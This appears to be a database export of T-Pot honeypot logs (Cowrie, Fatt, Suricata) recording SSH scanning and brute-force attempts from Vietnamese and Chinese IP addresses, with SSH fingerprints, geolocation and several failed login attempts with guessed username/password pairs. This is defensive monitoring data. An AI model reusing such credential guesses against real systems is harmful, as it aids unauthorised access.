ssh	\N	\N	\N	\N
21413	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:51.858615+03	2021-09-20 14:15:03.636612+03	{"_id": "WwbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53148, "timestamp": "2021-09-20T11:06:51.858615", "@timestamp": "2021-09-20T11:06:51.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21414	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:51.878702+03	2021-09-20 14:15:03.637612+03	{"_id": "XAbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49686, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.878702", "@timestamp": "2021-09-20T11:06:51.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21415	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:51.924252+03	2021-09-20 14:15:03.638613+03	{"_id": "XQbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39402, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.924252", "@timestamp": "2021-09-20T11:06:51.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21416	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.481783+03	2021-09-20 14:15:03.639613+03	{"_id": "XgbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ffa4915667c0", "@version": "1", "duration": 2.756288528442383, "timestamp": "2021-09-20T11:06:51.481783Z", "@timestamp": "2021-09-20T11:06:51.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21417	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.70275+03	2021-09-20 14:15:03.641614+03	{"_id": "XwbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [contact/contact] failed", "session": "83979a6e8f5e", "@version": "1", "password": "contact", "username": "contact", "timestamp": "2021-09-20T11:06:51.702750Z", "@timestamp": "2021-09-20T11:06:51.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21419	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.879427+03	2021-09-20 14:15:03.643613+03	{"_id": "YQbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8f3b30debfb6", "@version": "1", "timestamp": "2021-09-20T11:06:51.879427Z", "@timestamp": "2021-09-20T11:06:51.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21420	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:06:51.918655+03	2021-09-20 14:15:03.645612+03	{"_id": "YgbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9c373531ef77", "@version": "1", "duration": 2.768314838409424, "timestamp": "2021-09-20T11:06:51.918655Z", "@timestamp": "2021-09-20T11:06:51.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21421	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.95477+03	2021-09-20 14:15:03.646612+03	{"_id": "YwbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b37b4f7e599f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:51.954770Z", "@timestamp": "2021-09-20T11:06:51.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21422	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:52.005922+03	2021-09-20 14:15:03.647613+03	{"_id": "ZAbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [jordan/jordan] failed", "session": "19325238ed3b", "@version": "1", "password": "jordan", "username": "jordan", "timestamp": "2021-09-20T11:06:52.005922Z", "@timestamp": "2021-09-20T11:06:52.005Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21423	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:52.157715+03	2021-09-20 14:15:03.648613+03	{"_id": "ZQbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [marketing/marketing] failed", "session": "0bbdbd5ee5a4", "@version": "1", "password": "marketing", "username": "marketing", "timestamp": "2021-09-20T11:06:52.157715Z", "@timestamp": "2021-09-20T11:06:52.157Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21424	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:52.071167+03	2021-09-20 14:15:03.649612+03	{"_id": "ZgbjAnwBvYTbRNuEJAPU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1404741721195812, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52190, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.071167Z", "@timestamp": "2021-09-20T11:06:52.071Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21425	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:52.818453+03	2021-09-20 14:15:03.650613+03	{"_id": "awbjAnwBvYTbRNuEJAPU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 36751687812944, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57908, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.818453Z", "@timestamp": "2021-09-20T11:06:52.818Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21426	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:52.333843+03	2021-09-20 14:15:03.651614+03	{"_id": "bQbjAnwBvYTbRNuEJQPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [dev/dev123] failed", "session": "536231a66d87", "@version": "1", "password": "dev123", "username": "dev", "timestamp": "2021-09-20T11:06:52.333843Z", "@timestamp": "2021-09-20T11:06:52.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
